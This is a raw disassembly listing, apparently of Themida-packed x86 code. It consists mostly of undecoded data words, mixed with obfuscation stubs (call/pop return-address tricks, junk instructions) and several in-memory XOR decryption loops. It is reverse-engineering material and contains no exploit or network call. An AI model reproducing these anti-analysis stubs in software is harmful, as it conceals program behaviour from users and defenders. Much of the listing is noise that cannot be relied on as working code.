		lea	ecx, [ebp+6114E3Eh]
		or	[ebp+6110C45h],	esi
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_59B57F
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B57F	proc near		; CODE XREF: Themida_:0059B577p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_59B57F	endp

; ---------------------------------------------------------------------------
		xor	[esi-50h], ch
		mov	ebx, [ebp+6110625h]
		mov	edi, [ebp+6112309h]


loc_59B59E:				; CODE XREF: Themida_:0059B552j
		cmp	dword ptr [ebp+6112709h], 0
		jz	loc_59BA4B
		cmp	dword ptr [ebp+6112709h], 1
		jz	loc_59BA66
		push	0
		push	ebx
		call	sub_59B5C3
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B5C3	proc near		; CODE XREF: Themida_:0059B5BBp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_59B5C3	endp

; ---------------------------------------------------------------------------
		xor	ch, dh
		rcl	byte ptr [eax],	1
		enter	0FFFFA621h, 0B9h
		jmp	loc_59B5EA
; ---------------------------------------------------------------------------
		dd 1C3671BBh, 9AF01375h
; ---------------------------------------------------------------------------
		neg	edi


loc_59B5EA:				; CODE XREF: Themida_:0059B5DBj
		mov	edi, [ebp+6112B21h]
		cmp	dword ptr [ebp+6112709h], 3
		jbe	loc_59BA30
		push	0
		push	edi
		call	sub_59B608
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B608	proc near		; CODE XREF: Themida_:0059B600p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_59B608	endp

; ---------------------------------------------------------------------------
		sbb	ecx, [edi+29h]
		aas
		lea	ecx, ds:52821A32h
		mov	ebx, [ebp+6113451h]
		add	[ebp+6111C6Dh],	ebx
		pusha
		push	0
		push	ecx
		call	sub_59B63A
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B63A	proc near		; CODE XREF: Themida_:0059B632p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_59B63A	endp

; ---------------------------------------------------------------------------
		inc	edx
		add	[ebx+edx*2-52h], esp
		push	5399D798h
		mov	[ebp+61127E1h],	ebx
		pop	edi
		mov	cx, ds
		push	0
		push	eax
		call	sub_59B669
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B669	proc near		; CODE XREF: Themida_:0059B661p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_59B669	endp

; ---------------------------------------------------------------------------
		db 3, 0C6h, 0F7h
		dd 0A6B2EBBBh, 66A48C34h, 0F2553BBh, 285h, 80FE8B00h, 6A04E1h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0BD8B2AC3h, 61115CDh, 840FC90Ah, 15Ah, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 16h, 0C7C35141h, 0EF80E003h
		dd 99F781AAh, 8B31B108h, 111BF585h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0A9519006h
		dd 958B60AAh, 6112275h,	3D89D181h, 336125DCh, 11030585h
		dd 0CE806h, 0CED70000h,	0C9936610h, 99127E98h, 0D3812F0Fh
		dd 333E33BDh, 13E9505Fh, 0C8000000h, 0EF03E40Fh, 0D6706143h
		dd 11369C88h, 6189128Eh, 489397Eh, 0ABE7BF24h, 6A5EADh
		dd 0AC99D8Bh, 0BD8B0611h, 6110FBDh, 4E8h, 1F03FF00h, 830F5300h
		dd 6, 310F5250h, 505B585Ah, 8B665250h, 0E9310FFEh, 13h
		dd 5295417Ah, 1DBCB146h, 1D0BD591h, 24502B96h, 5AA0A118h
		dd 24448B58h, 0E4BF6604h, 0F008B76h, 284h, 89A5B300h, 0B7042444h
		dd 6A589Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 1D2CE8C3h, 0E3CAD01h, 8B4A5561h, 0C195FFFEh
		dd 6A06112Ah, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 4690C357h, 85895607h, 614BD76h
		dd 93D9D8Bh, 0B3E90611h, 80000001h, 858B0FCFh, 614BD6Eh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 93C35141h
		dd 9B2E05A2h, 0FA10944h, 0C7D9BFh, 18h,	0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Bh, 30C35141h, 26D94025h
		dd 8B339C73h, 14BD72B5h, 0C7816606h, 858B3E3Bh,	61114E9h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 72C35343h
		dd 9433ED66h, 4B423A86h, 10E9h,	0C5E24200h, 0F3B3A438h
		dd 0C0B86F49h, 0BEE31C44h, 660689A2h, 70DCCF81h, 1BF5858Bh
		dd 6A0611h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 24D77DC3h, 0BDFE9F41h, 0E9E847E9h, 5, 4DAC5723h
		dd 4468994h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	10C35646h, 0B5CE22BBh, 66AD5CE6h, 725DB81h, 5E850h
		dd 0E1B90000h, 60258F58h, 5F615F53h, 0E8243489h, 9, 0E112D6BAh
		dd 0E889CB83h, 799D89BCh, 5F061102h, 6EB5FFF9h,	0B0614BDh
		dd 112C859Dh, 602E6806h, 0BF66060Ah, 34813BE5h,	1563D124h
		dd 12E806h, 4E7A0000h, 4293718Eh, 0C83402EAh, 1AE5B0B5h
		dd 933DA21Bh, 76858D5Bh, 6A0614BDh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 8B0C350h
		dd 5F575097h, 0FF240489h, 112AC195h, 0AE906h, 6CE10000h
		dd 207A87CCh, 0EB251DE8h, 9E9h,	0B4F2D00h, 84BCC2AFh, 6A61FA73h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 0B218C357h, 15595365h, 95BD0157h,	5F061121h
		dd 270985C7h, 30611h, 95310000h, 6110AEDh, 17799D03h, 0BD830611h
		dd 614BD76h, 1D840F00h,	8B000000h, 1125C59Dh, 2DE906h
		dd 81530000h, 0E3E0C5F7h, 66605B7Ch, 312BF281h,	61CCD880h
; ---------------------------------------------------------------------------


loc_59BA30:				; CODE XREF: Themida_:0059B5F7j
					; Themida_:0059BA47j
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_59BA30
		jmp	short loc_59BA81
; ---------------------------------------------------------------------------


loc_59BA4B:				; CODE XREF: Themida_:0059B5A5j
					; Themida_:0059BA62j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_59BA4B
		jmp	short loc_59BA81
; ---------------------------------------------------------------------------


loc_59BA66:				; CODE XREF: Themida_:0059B5B2j
					; Themida_:0059BA7Dj
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_59BA66
		jmp	short $+2


loc_59BA81:				; CODE XREF: Themida_:0059BA49j
					; Themida_:0059BA64j
		mov	eax, eax
		mov	[ebp+6112755h],	ebx
		push	0
		push	ebp
		call	sub_59BA94
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59BA94	proc near		; CODE XREF: Themida_:0059BA8Cp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_59BA94	endp

; ---------------------------------------------------------------------------
		rol	dword ptr [edi-4274BC27h], 79h
		adc	edx, [ecx]
		push	es
		cmp	dword ptr [ebp+6112709h], 3
		jnz	loc_59BF71
		push	0
		push	eax
		call	sub_59BAC6
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59BAC6	proc near		; CODE XREF: Themida_:0059BABEp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_59BAC6	endp

; ---------------------------------------------------------------------------
		dw 66ADh
		dd 81D1F6D6h, 4325452Bh, 2BB58D89h, 0BD830611h,	614BD76h
		dd 7E840F00h, 6A000004h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0EB77C351h,	10E9h
		dd 0A30D6400h, 0AB588DA0h, 0B4BA450h, 0F8D4A4FBh, 76B5FF46h
		dd 6A0614BDh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0AE23C353h, 9D8939B8h,	6113261h
		dd 329195FFh, 9D8B0611h, 6111429h, 0BD6AB58Bh, 6A0614h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 3A629EC3h, 0F7FEBE6h, 18Ch, 6C7F900h, 10001h, 21E99D8Bh
		dd 50500611h, 0FFA8B52h, 0B3BF6631h, 89585A17h,	6A2434h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0FE16C4C3h, 0CAC07ED6h, 0FFF98B66h, 14BD76B5h, 0FEBF0F06h
		dd 0E995FFh, 6A0611h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 0AB0340C3h, 0FB0EF61Dh, 8A2B6D59h
		dd 19BD8BFEh, 8B061129h, 14BD6AB5h, 0DEBF0F06h,	1425858Bh
		dd 6A0611h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 55C49DC3h, 23D9509h, 0B5890611h, 6110F25h
		dd 0C48689h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 7B8703C3h, 958BE832h, 611285Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 61C35141h
		dd 0D757BB90h, 0BD8B1360h, 6112C11h, 6A04C283h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 836C352h, 8B96BDADh,	98D1CF35h, 0F8205089h, 0D062858Dh
		dd 6A0614h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 5FE37C3h,	7E75A972h, 0BE9E5h, 0DC20000h
		dd 0A0CCF7C1h, 70D3C75Ch, 39BD8BA8h, 89061118h,	0B886h
		dd 54DB8100h, 6A12FDDBh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 283A045Fh, 0F9AA9F0Dh
		dd 0BD76B5FFh, 0E8510614h, 8, 127E98C9h, 92F0F99h, 0B35B67BBh
		dd 0FF5B5F48h, 112B6595h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0DC99C157h
		dd 0B99D8BF8h, 66061121h, 7162D381h, 52505096h,	0EE9h
		dd 0E41A500h, 3E97668Ch, 20BF883Fh, 0F9F6947h, 0B03CBF31h
		dd 585A25ECh, 76B5FF96h, 6A0614BDh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 1C19C353h
		dd 0B0024EA6h, 860F8DE8h, 4, 0F41BF66h,	0E2995FFh, 0BD830611h
		dd 6112761h, 74840F00h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 8314C353h
		dd 19393B0Ch, 8C1CBB2Ah, 5096479Fh, 0F8F0Fh, 0AE90000h
		dd 5E000000h, 0F4E17DC9h, 5F12DCABh, 6A9660h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0C88B4BC3h
		dd 0E2C35B52h, 0CE9A4BCh, 0C6000000h, 16424733h, 0EEA863FCh
		dd 0FF70E30Eh, 14BD76B5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 1C525B23h
		dd 0FE81BAB1h, 8E8602Fh, 0D2000000h, 0E00DFBD2h, 322137Fh
		dd 1125BDBDh, 89605E06h, 11089DB5h, 0D1BF0F06h,	95FF6161h
		dd 61112F1h, 151D9D03h,	0B5FF0611h, 614BD76h, 0AD950953h
		dd 5F06112Dh, 5B995FFh,	6A0611h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 933B7EC3h, 0BEB7524Ch
		dd 81E12DAEh, 0E82B9ADFh, 9E833h, 0F5650000h, 0C55772B3h
		dd 2321B59Bh, 1118599Dh, 0BD835B06h, 611013Dh, 54840F02h
		dd 8B000000h, 1858BF9h,	6A061131h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0AB16C353h
		dd 0B4BB6653h, 0C65F3Ah, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 664F0492h, 5F58DF81h
		dd 0C7FBB70Fh, 1104D585h, 6, 17BB6600h
; ---------------------------------------------------------------------------
		pop	edi


loc_59BF71:				; CODE XREF: Themida_:0059BAB5j
		jmp	near ptr dword_59B1D4+8
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_59BF81
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59BF81	proc near		; CODE XREF: Themida_:0059BF79p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_59BF81	endp

; ---------------------------------------------------------------------------
		sub	[ebx+55006AC1h], cl
		call	sub_59BF9F
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59BF9F	proc near		; CODE XREF: Themida_:0059BF97p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_59BF9F	endp

; ---------------------------------------------------------------------------
		db 8Ch
; ---------------------------------------------------------------------------
		jo	short loc_59C01D
		retn
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------
		mov	[ebp+6110949h],	ecx
		lea	eax, [ebp+6112795h]
		stc
		nop
		mov	ebx, 2DD00A0Eh
		push	eax
		mov	ebx, 66703DBFh
		nop
		push	eax
		mov	edi, [ebp+6110AEDh]
		pop	ebx
		push	0
		movzx	ebx, bx
		or	bx, 630Dh
		push	0
		push	0
		push	esi
		call	sub_59BFED
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59BFED	proc near		; CODE XREF: Themida_:0059BFE5p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_59BFED	endp

; ---------------------------------------------------------------------------
		db 97h,	83h, 61h
		dd 89A2CF30h, 110E8995h, 34858D06h, 6A061626h, 3E85000h
		dd 20000000h, 8958C358h
		db 44h
; ---------------------------------------------------------------------------


loc_59C01D:				; CODE XREF: Themida_:0059BFB0j
		and	al, 4
		add	dword ptr [esp+4], 1Dh
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 6DB0h
		dd 0BDCEBA1Ch, 96FC7B39h, 4D98501h, 60600611h, 8A0Fh, 8D890000h
		dd 6112859h, 358D2961h,	61061105h, 1BF99D8Bh, 0C0830611h
		dd 66509005h, 90D11FBBh, 0CEA7DB81h, 6A3BA4h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 1C35343h, 0DD520290h
		dd 5AA3BF81h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 9A95D9C3h, 820DA1Ah, 890EC3E7h
		dd 110B7995h, 5D95FF06h, 6A061107h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0D5D1C351h
		dd 6860FCBh, 89000000h,	11291995h, 208D8D06h, 800614A4h
		dd 0D1FF9DC7h, 0BB46DF80h, 20036A70h, 1B71BD83h, 0F010611h
		dd 0F185h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0E65F68FBh, 2919BD8Bh, 80BF0611h
		dd 6A26CA5Ch, 5E802h, 11D70000h, 2953C03Dh, 110C69BDh
		dd 0E8905B06h, 10h, 892B95A0h, 7568608h, 1AB2B7A6h, 8E698402h
		dd 2830Fh, 0C3B30000h, 12E8505Fh, 0F000000h, 325DF423h
		dd 85D8EECAh, 3DF8319Dh, 0EBAFEA61h, 9E85236h, 7E000000h
		dd 790802B6h, 0A9F8CDB1h, 905B5F5Fh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0B8C35545h,	0EB0D9CD5h, 14F18589h
		dd 0FE90611h, 5B000000h, 95F7D04Bh, 0FA54C0A8h,	0D52B31AEh
		dd 95FF88ADh, 6112B65h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0C35141h, 18A2ACB6h, 651828FFh, 2491BD09h
		dd 0F4E90611h, 0E800000Ch, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 616263Eh
		mov	edi, [ebp+61113ADh]
		movsx	ebx, bx
		mov	edi, [ebp+611322Dh]
		lea	eax, [ebp+6148968h]
		push	0
		push	ecx
		call	sub_59C22B
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59C22B	proc near		; CODE XREF: Themida_:0059C223p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_59C22B	endp

; ---------------------------------------------------------------------------
		db 0F3h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		mov	[ebp+6111B99h],	ecx
		nop
		jmp	loc_59C258
; ---------------------------------------------------------------------------
		db 8Fh,	27h, 2Ah
		dd 0FCEAFCCFh, 3C3B21F7h, 5FB17B1Ch
; ---------------------------------------------------------------------------


loc_59C258:				; CODE XREF: Themida_:0059C244j
		push	eax
		mov	ebx, 1747BE6Ch
		nop
		push	0
		push	ebp
		call	sub_59C26A
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59C26A	proc near		; CODE XREF: Themida_:0059C262p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_59C26A	endp

; ---------------------------------------------------------------------------
		rol	dword ptr [edi-456BD8D7h], 1
		push	ss
		cld
		push	large dword ptr	fs:0
		push	0
		push	eax
		call	sub_59C294
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59C294	proc near		; CODE XREF: Themida_:0059C28Cp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_59C294	endp

; ---------------------------------------------------------------------------
		dd 177D8FA0h, 2E6BED6Eh, 0BD8947E1h, 6113255h, 258964h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 2DBBC357h, 8B66F02Ch, 0AD85FFFEh
		dd 6A061107h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 706AC355h, 0C04C0979h,	2AADBD8Bh
		dd 0FF6A0611h, 2800Fh, 14B70000h, 1E219D8Bh, 0B5FF0611h
		dd 61100C5h, 5BD9D31h, 95FF0611h, 611150Dh, 116E9h, 15BD8B00h
		dd 0B0061118h, 0ADF78100h, 0E60956E9h, 25950170h, 0E4061107h
		dd 1D8F0F71h, 0F000000h, 1782h,	12E900h, 51670000h, 7B8BC36h
		dd 23EB028h, 0A7E75C40h, 0A1B51BE3h, 830F613Ch,	0D3h, 2C4DBD8Bh
		dd 0B60F0611h, 0CB8166C8h, 6BA38E3h, 89000000h,	110FFD8Dh
		dd 0E8C18B06h, 14h, 0B6BD0D06h,	58CEAF47h, 19B67732h, 31E521F9h
		dd 0FED8A50h, 2135BD8Bh, 0C15B0611h, 0B58904E8h, 6112835h
		dd 95850953h, 5F061131h, 0FE2F766h, 8ABFD9B7h, 2B6DEFE4h
		dd 51BD31C8h, 8B06111Dh, 199589D1h, 0E9061132h,	67h, 3987A7BBh
		dd 49858B4Ah, 0F44004Eh, 20B7DBBFh, 6607C083h, 838AB2BFh
		dd 0BF0F00C0h, 0FD03BFEh, 1083h, 0AD9D8B00h, 0E9061106h
		dd 37h,	0B6F38166h, 0FF8D8B2Bh,	66FFFFFFh, 4975DF81h, 0F01E183h
		dd 1E84h, 5ABB6600h, 0FFA583A8h, 0FEFFFFFFh, 958986B7h
		dd 44004E49h, 2B359D8Bh, 0E90611h, 8D000000h, 158F8EB5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 0BD8BFC31h, 61104F5h, 6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0A4A134C3h
		dd 0FF3C924Ah, 1105C595h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 75F5AF94h
		dd 0C8B0FF2h, 0F000000h, 68Bh, 1BD8900h, 0B906111Dh, 0EF1h
		dd 1BF19D8Bh, 0E1830611h, 53006AFCh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 6AFCDD48h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 1B5FC350h, 15859589h, 0B80611h, 81000000h
		dd 0A2FD5DE3h, 6AD22B37h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0C6D0C356h,	7D45B376h
		dd 815FA085h, 0E55766D7h, 0FABEBB3Fh, 33AD10E4h, 3E8D1C2h
		dd 4E983D0h, 9D8BF475h,	6113061h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 4DC35242h, 0B2D835BAh, 7F094A25h
		dd 0DA47D781h, 880D15A5h, 0B7000000h, 5D958BBFh, 8A061128h
		dd 0D18D8BDDh, 8906112Dh, 11137DBDh, 0C28B5006h, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 9F8CC356h
		dd 81567B53h, 3B7224EBh, 0CDBB5B74h, 6A0D0A55h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 45F5C357h, 7DF7488Fh, 2381BD83h, 0F000611h, 4584h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 0C13481D0h, 0B8D16F58h, 0B8h, 35952900h, 8D061114h
		dd 114E3E8Dh, 35BD3306h, 0FF061131h, 2D9529E1h,	6606110Bh
		dd 0BD83D88Bh, 6112709h, 88840F00h, 89000003h, 113265B5h
		dd 9BD8306h, 1061127h, 390840Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 17AE88C3h
		dd 0A5AC8F69h, 0DE9h, 0DD37AE00h, 2F44A154h, 5ED28734h
		dd 0BD836E78h, 6112709h, 19860F03h, 89000003h, 1104E99Dh
		dd 66F86006h, 80F8D98Ch, 6A04E1h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 32AAB3C3h, 0E356821h
		dd 8B9A3E78h, 111E11BDh, 25958906h, 0A061128h, 0D7840FC9h
		dd 0F000000h, 1381h, 0EE900h, 412A0000h, 9BE009A5h, 61928106h
		dd 0A5DC9431h, 858BFA8Bh, 6111BF5h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 69C35545h, 0D2A33744h, 9FF87342h
		dd 2789BD2Bh, 85330611h, 6110305h, 14819D89h, 0B7500611h
		dd 240489DEh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 18h,	3EC35040h, 0A0A8F5D8h, 0BE9006Ah, 7B000000h, 3ADAB403h
		dd 0CEB371AEh, 0A2682114h, 66170902h, 811375BBh, 15D2434h
		dd 11E91716h, 8D000000h, 782ED02Ch, 0C1E854DEh,	0F41A3404h
		dd 3D7CF98Ah, 2AC195FFh, 85890611h, 61106D5h, 61A6C0BFh
		dd 76858953h, 660614BDh, 71E9FB8Bh, 0F000001h, 858BD8B7h
		dd 614BD6Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	8DC35343h, 0D9D8B52h, 5B061127h, 1800C7h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 6D11A7C3h, 0CC29EAB3h, 0CF815332h, 1E9BB429h, 0DDBD895Fh
		dd 8B061125h, 14BD72B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 0BB6602F2h, 858BE723h
		dd 61114E9h, 0BE9h, 0D3B30400h,	258EBADCh, 6AB8295Eh, 8B660689h
		dd 0F5858BD8h, 8906111Bh, 110B0D95h, 4468906h, 5DB529h
		dd 50500611h, 61606052h, 11E8h,	11F53300h, 73716EB3h, 5DBD4A51h
		dd 20953F81h, 615F327Dh, 0BB66310Fh, 585ACEA4h,	1243489h
		dd 1103FD8Dh, 6EB5FF06h, 6A0614BDh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 5CFBC353h
		dd 8166E410h, 662B66F3h, 6848F0BBh, 0C1497EFFh,	2890Fh
		dd 5B520000h, 240481h, 6A3ED585h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8DC6C357h
		dd 14BD7685h, 61B53106h, 5006112Ch, 8E9h, 685D3A00h, 9BF8AF61h
		dd 240489BEh, 2AC195FFh, 9D8B0611h, 61103DDh, 42CB8161h
		dd 0C751348Ch, 11270985h, 306h,	5E800h,	0EDB20000h, 81051AC7h
		dd 0B11081DFh, 0BD835B6Fh, 614BD76h, 5D840F00h,	6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 0E4B3C355h, 15088E67h, 0EE9F8h, 0B1200000h
		dd 3EFA4476h, 0ADAE3E24h, 210316D3h, 3EE9h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 1FB95670h, 5F52C769h, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 0A8AAC351h,	0E8CDA16Fh
		dd 79C5AD80h, 0B5BD2960h, 61061104h, 0CD1FBB66h, 2709BD83h
		dd 0F030611h, 45085h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 39A79DCBh, 0BD0B0B6Dh
		dd 6111C69h, 0BD76BD83h, 0F000614h, 41C84h, 0B5FFF800h
		dd 614BD76h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 98C35343h
		dd 0C242FB19h, 0B4CD35D1h, 2705BD8Bh, 95FF0611h, 6113291h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 4DC35141h
		dd 330B8DA5h, 1105EDBDh, 0A9B52906h, 8B061130h,	14BD6AB5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 8276C749h, 1C559589h, 6C70611h, 10001h
		dd 25B9BD8Bh, 0E9500611h, 14h, 53D65D30h, 0AFF509C0h, 9A2D518Ch
		dd 0CCBF0402h, 1B6D09E8h, 89243489h, 1114CDB5h,	76B5FF06h
		dd 6A0614BDh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 5271C350h, 8B664C2Ah, 359D89F8h
		dd 0FF061128h, 1100E995h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0F990FEC8h
		dd 8BF8071Ah, 14BD6AB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h
